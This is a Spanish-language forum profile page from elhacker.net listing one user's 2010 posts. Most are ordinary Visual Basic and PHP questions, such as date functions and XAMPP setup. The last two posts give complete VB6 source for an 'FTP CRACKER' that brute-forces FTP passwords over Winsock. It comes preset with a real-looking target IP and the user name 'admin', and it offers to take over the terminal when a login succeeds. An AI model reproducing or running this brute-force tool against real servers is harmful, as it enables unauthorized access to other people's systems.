elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13]
121  Programación / Programación Visual Basic / [Ayuda] Webbrowser en: 17 Septiembre 2010, 21:22 pm
HOLA!!!

Hola como andan, esta vez me suergio una traba en un proyecto bastante simple.

El tema es que tengo que loguear en Afip:

https://auth.afip.gov.ar/contribuyente/

El tema no es dificil, lleno los textboxes y despues hago click a la imagen.

Pero el TEMA es que necesito que no me abra la pagina con las cosas en el WebBrowser, sino en el navegador predeterminado de la maquina.

Osea mi idea es:
·Lleno el formulario
·Lo envio
·Abro la pagina ya con el usuario logueado en el firefox por ejemplo


P.d: Si saben de algun comando para llenar los formularios desde el shellexecute me vendria mejor.
Por ejemplo: "firefox.exe https://auth.afip.gov.ar/contribuyente/ user=CUIT password=123456 ingresarClaveFiscal.click"

Nose si me entendieron, pero como siempre...

GRACIAS POR LEER!!!
122  Programación / Programación Visual Basic / [Ejemplo] FECHAS en: 16 Septiembre 2010, 17:07 pm
HOLA!!!

XD, nose si esto se puede llamar ejemplo, pero es mi intento por ayudar.

En el codigo estan las cosas basicas que se pueden hacer con fechas, son utiles ... creo.

CODIGO:
Código
  1. Private Sub Form_Load()
  2. 'FECHA ACTUAL EN FORMATO ESTANDAR MM-DD-AAAA
  3.      Label1.Caption = Date$
  4. 'FECHA ACTUAL FORMATEADA A DIAS/MESES/AÑOS
  5.      Label2.Caption = Format(Date$, "d/MM/yyyy")
  6. 'FECHA Y HORARIO ACTUAL
  7.      Label3.Caption = Now
  8. 'HORARIO ACTUAL
  9.      Label4.Caption = Time
  10. 'DIA ACTUAL
  11.      Label5.Caption = Day(Now)
  12. 'MES ACTUAL
  13.      Label6.Caption = Month(Now)
  14. 'MES ACTUAL EN LETRAS (DEPENDE DE LA CONFIGURACION REGIONAL DE LA PC)
  15.      Label7.Caption = MonthName(Month(Now))
  16. 'AÑO ACTUAL
  17.      Label8.Caption = Year(Now)
  18. 'DIA DE LA SEMANA ACTUAL
  19.      Label9.Caption = Weekday(Now)
  20. 'DIA DE LA SEMANA ACTUAL EN LETRAS (DEPENDE DE LA CONFIGURACION REGIONAL DE LA PC)
  21.      Label10.Caption = WeekdayName(Weekday(Now))
  22. 'SOLO LA HORA
  23.      Label11.Caption = Hour(Now)
  24. 'SOLO LOS MINUTOS
  25.      Label12.Caption = Minute(Now)
  26. 'SOLO LOS SEGUNDOS
  27.      Label13.Caption = Second(Now)
  28. 'SUMA A UNA FECHA ESPECIFICA
  29. 'PARAMETROS DateAdd(INTERVALO,CANTIDAD,FECHA)
  30. 'LA CANTIDAD PUEDE SER POSITIVA O NEGATIVA
  31. 'EJEMPLO FECHA ACTUAL MENOS 35 SEGUNDOS
  32.      Label14Caption = DateAdd("S", -35, Now)
  33. 'DIFERENCIAS ENTRE 2 FECHAS
  34. 'EJEMPLO DIFERENCIA ENTRE 15/10/1329 Y HOY EXPRESADO EN DIAS
  35. 'PARAMETROS DateDiff(INTERVALO,FECHA1,FECHA2)
  36. 'LOS TIPOS DE INTERVALOS SON LOS MISMOS
  37.      Label15.Caption = DateDiff("y", #10/15/1329#, Date$)
  38.  
  39. '---------------------------------------------------------------------------------
  40.  
  41. 'TIPOS DE INTERVALOS:
  42. '"S"=SEGUNDOS
  43. '"n"=MINUTOS
  44. '"h"=HORAS
  45. '"y"=DIAS
  46. '"ww"=SEMANAS
  47. '"m"=MESES
  48. '"yyyy"=AÑOS
  49. End Sub
  50.  

GRACIAS POR LEER!!!
123  Programación / Desarrollo Web / Como instalar/habilitar ZEND en XAMPP 1.7.3 en: 2 Septiembre 2010, 13:01 pm
HOLA!!!

Chicos, necesito ayuda, tengo montado un server con XAMPP 173 y tengo un script que requiere ZEND 2.1.0, y me dice que lo instale, y la verdad se me esta comlicando demasiado.

Y TENGO QUE ENTREGAR EL BOCETO DEL TRABAJO (FUNCIONAL) EL VIERNES OSEA ¡¡¡MAÑANA!!!.

Por favor necesito ayuda.


GRACIAS DE ANTEMANO!!!
124  Programación / Desarrollo Web / PROBLEMA PHP-MYSQL-APACHE en: 1 Septiembre 2010, 16:02 pm
HOLA!!!

Buenos dias, en realidad soy programador de VB y  C#. Pero me meti en un problema, tengo que levantar un ScriptCopy de un sitio de trabajo desde mi ordenador para empezar a traducirlo y ver como anda.

El tema es que lamentablemente, instale apache, php y mysql, y no tengo ni idea como se usan, ya puse la pagina en htdocs, entre a 127.1.1.1/ADMIN/setup.php y me abre bien la pagina, pero al clickear en el optionbox y luego en continuar vuelvo a la misma pagina, es como si la pagina no interpreta  lo que mando o estoy en un bucle.

GRACIAS!!!

ESPERO PRONTA RESPUESTA.

Pd: Les dejo el link del archivo(pass= "arthur@crostuff.net").
Código
  1. rapidshare.com/files/266715458/NM.Jobs.Portal.v1.3_by_Arthur_www.crostuff.net.rar

125  Programación / Programación Visual Basic / QUE ME RECOMIENDAN, BASES DE DATOS en: 20 Agosto 2010, 16:40 pm
HOLA!!!


Hola como andan, esta vez les quiero preguntar sobre que es mejor para ustedes y que me recomiendan.

Yo tengo armados 2 puntos de venta, uno con bases de datos en ACCESS y otro con TEXTO_PLANO.

Yo personalmente prefiero el texto plano, me manejo asi: Hago por cada tabla un archivo de texto, por ejemplo "tabla.791", despues levanto los archivos directo del programa apenas los necesito y los guardo en vectores. Y hago todas las cosas que quiero directo desde el codigo sin necesitar el access.

Y en el otro punto de venta me manejo parecido: Uso la sentencia "SELECT * FROM *" y listo, despues los recorro a mano.

Quisiera saber su opinion

P.D:  Los datos en los textos planos estan siempre en string osea "string1","string2",... y asi.( los formateo por codigo en el programa)
Y en el access ya estan formateados.

GRACIAS!!!
126  Programación / Programación Visual Basic / FTP CRACKER en: 4 Agosto 2010, 17:23 pm
HOLA!!!

Hola amigos, estaba sin nada que hacer y me puse a programar un CRACKEADOR FTP por fuerza bruta en VB6, me puse a hacerlo por que no vi nada por la web :P, quisiera saber su opinion.

Bueno consiste en un form con:
  • Un textbox multilinea con scroll llamado inx
  • Un textbox normal llamado outx
  • Un timer llamado state
  • Un winsock llamado telnet

un FORM con Código:


Código
  1. Public CT As Integer
  2. Public FAILED As String
  3. Public ACUSER As String
  4. Public USER As String
  5. Public CONTROL As Integer
  6.  
  7. Private Sub Form_Load()
  8.    CONTROL = vbNo
  9.    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  10.    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  11.    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  12.    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  13.    USER = InputBox("USUARIO", "INSERTE", "admin")
  14.    Call BORRAR_VECTOR
  15.    Call CONECTAR_TELNET
  16.    STATE.Interval = 1000
  17. End Sub
  18.  
  19. Private Sub CONECTAR_TELNET()
  20. Telnet.Connect
  21. CT = 0
  22. End Sub
  23.  
  24. Private Sub Form_Resize()
  25.    If Me.Height > 701 Then
  26.        inx.Width = Me.Width
  27.        inx.Height = Me.Height - 700
  28.        outx.Width = Me.Width
  29.        outx.Top = inx.Height
  30.    End If
  31. End Sub
  32.  
  33. Private Sub Form_Unload(Cancel As Integer)
  34.    Telnet.Close
  35.    End
  36. End Sub
  37.  
  38. Private Sub STATE_Timer()
  39.    If Telnet.STATE <> 7 Then
  40.        If Telnet.STATE <> 0 Then
  41.            Telnet.Close
  42.        End If
  43.        Call CONECTAR_TELNET
  44.    End If
  45. End Sub
  46.  
  47. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  48.    Dim strData As String
  49.    Telnet.GetData strData
  50.    inx.Text = inx.Text & strData
  51.    If CONTROL = vbNo Then
  52.        Call ANALIZAR(Mid(strData, 1, 3))
  53.    End If
  54.    If CT Mod 2 Then
  55.        Call NUEVAPASS
  56.            outx.Text = "pass " & PASS
  57.            Call outx_KeyPress(vbKeyReturn)
  58.            Else
  59.            outx.Text = "user " & USER
  60.            Call outx_KeyPress(vbKeyReturn)
  61.    End If
  62. End Sub
  63.  
  64. Private Sub outx_KeyPress(KeyAscii As Integer)
  65.    If KeyAscii = vbKeyReturn Then
  66.        Telnet.SendData outx.Text & vbCrLf
  67.        outx.Text = ""
  68.        outx.SetFocus
  69.    End If
  70. End Sub
  71.  
  72. Private Sub ANALIZAR(CODE As String)
  73.    CT = CT + 1
  74.    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  75.        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  76.    End If
  77. End Sub
  78.  






Y un MODULO con Código:

Código
  1. Dim PASSNUM(17) As Integer
  2. Dim PASSLET(17) As String
  3. Public PASS As String
  4.  
  5. Public Sub BORRAR_VECTOR()
  6.    PASSNUM(1) = 47
  7.    For X = 2 To 16
  8.        PASSNUM(X) = 0
  9.    Next X
  10. End Sub
  11.  
  12. Public Sub NUEVAPASS()
  13.    PASSNUM(1) = PASSNUM(1) + 1
  14.    Call ORDENAR
  15.    Call CONVERTIR
  16.    Call CONCATENAR
  17. End Sub
  18.  
  19. Private Sub ORDENAR()
  20.    For X = 1 To 16
  21.        If PASSNUM(X) = 124 Then
  22.            If PASSNUM(X + 1) = 0 Then
  23.                PASSNUM(X + 1) = 47
  24.            End If
  25.            PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  26.        End If
  27.    Next X
  28.    If PASSNUM(17) = 1 Then
  29.        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  30.        End
  31.    End If
  32. End Sub
  33.  
  34. Private Sub CONVERTIR()
  35.    For X = 1 To 16
  36.        If PASSNUM(X) <> 0 Then
  37.            PASSLET(X) = Chr(PASSNUM(X))
  38.        End If
  39.    Next X
  40. End Sub
  41.  
  42. Private Sub CONCATENAR()
  43.    PASS = ""
  44.    For X = 1 To 16
  45.        PASS = PASS & PASSLET(X)
  46.    Next X
  47. End Sub
  48.  



Díganme que les parece!
Y den opiniones para mejorarlo!




***************GRACIAS***************
127  Programación / Programación Visual Basic / FTP CRACKER ME LO REVISAN? en: 3 Agosto 2010, 16:01 pm
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

les dejo aca el codigo que uso:

FORM:

Código
  1. Public CT As Integer
  2. Public FAILED As String
  3. Public ACUSER As String
  4. Public USER As String
  5. Public CONTROL As Integer
  6.  
  7. Private Sub Form_Load()
  8.    CONTROL = vbNo
  9.    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  10.    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  11.    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  12.    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  13.    USER = InputBox("USUARIO", "INSERTE", "admin")
  14.    Call BORRAR_VECTOR
  15.    Telnet.Connect
  16. End Sub
  17.  
  18. Private Sub Form_Resize()
  19.    If Me.Height > 701 Then
  20.        inx.Width = Me.Width
  21.        inx.Height = Me.Height - 700
  22.        outx.Width = Me.Width
  23.        outx.Top = inx.Height
  24.    End If
  25. End Sub
  26.  
  27. Private Sub Form_Unload(Cancel As Integer)
  28.    Telnet.Close
  29.    End
  30. End Sub
  31.  
  32. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  33.    Dim strData As String
  34.    Telnet.GetData strData
  35.    inx.Text = inx.Text & strData
  36.    If CONTROL = vbNo Then
  37.        Call ANALIZAR(Mid(strData, 1, 3))
  38.    End If
  39.  
  40.    If CT Mod 2 Then
  41.        Call NUEVAPASS
  42.            outx.Text = "pass " & PASS
  43.            Call outx_KeyPress(vbKeyReturn)
  44.        Else
  45.            outx.Text = "user " & USER
  46.            Call outx_KeyPress(vbKeyReturn)
  47.    End If
  48. End Sub
  49.  
  50. Private Sub outx_KeyPress(KeyAscii As Integer)
  51.    If KeyAscii = vbKeyReturn Then
  52.        Telnet.SendData outx.Text & vbCrLf
  53.        outx.Text = ""
  54.        outx.SetFocus
  55.    End If
  56. End Sub
  57.  
  58. Private Sub ANALIZAR(CODE As String)
  59.    CT = CT + 1
  60.    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  61.        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  62.    End If
  63. End Sub
  64.  
.

MODULO:

Código
  1. Dim PASSNUM(17) As Integer
  2. Dim PASSLET(17) As String
  3. Public PASS As String
  4.  
  5. Public Sub BORRAR_VECTOR()
  6.    PASSNUM(1) = 47
  7.    For X = 2 To 16
  8.        PASSNUM(X) = 0
  9.    Next X
  10. End Sub
  11.  
  12. Public Sub NUEVAPASS()
  13.    PASSNUM(1) = PASSNUM(1) + 1
  14.    Call ORDENAR
  15.    Call CONVERTIR
  16.    Call CONCATENAR
  17. End Sub
  18.  
  19. Private Sub ORDENAR()
  20.    For X = 1 To 16
  21.        If PASSNUM(X) = 124 Then
  22.            If PASSNUM(X + 1) = 0 Then
  23.                PASSNUM(X + 1) = 47
  24.            End If
  25.            PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  26.        End If
  27.    Next X
  28.    If PASSNUM(17) = 1 Then
  29.        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  30.        End
  31.    End If
  32. End Sub
  33.  
  34. Private Sub CONVERTIR()
  35.    For X = 1 To 16
  36.        If PASSNUM(X) <> 0 Then
  37.            PASSLET(X) = Chr(PASSNUM(X))
  38.        End If
  39.    Next X
  40. End Sub
  41.  
  42. Private Sub CONCATENAR()
  43.    PASS = ""
  44.    For X = 1 To 16
  45.        PASS = PASS & PASSLET(X)
  46.    Next X
  47. End Sub
  48.  


Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.


P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo ;) gracias.

***************GRACIAS DE ANTEMANO***************
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines